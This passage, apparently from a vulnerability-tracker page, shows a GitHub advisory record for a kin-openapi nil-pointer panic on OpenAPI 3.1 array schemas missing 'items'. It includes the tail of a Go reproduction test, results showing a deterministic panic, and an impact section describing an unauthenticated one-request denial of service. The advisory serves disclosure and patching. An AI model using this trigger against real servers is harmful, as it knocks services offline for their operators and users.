\"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` \u2192 HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded \u2014 `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).",
"id": "GHSA-p6wj-qrr4-pgh5",
"modified": "2026-10-15T20:14:54Z",
"published": "2026-10-15T20:14:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97394"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.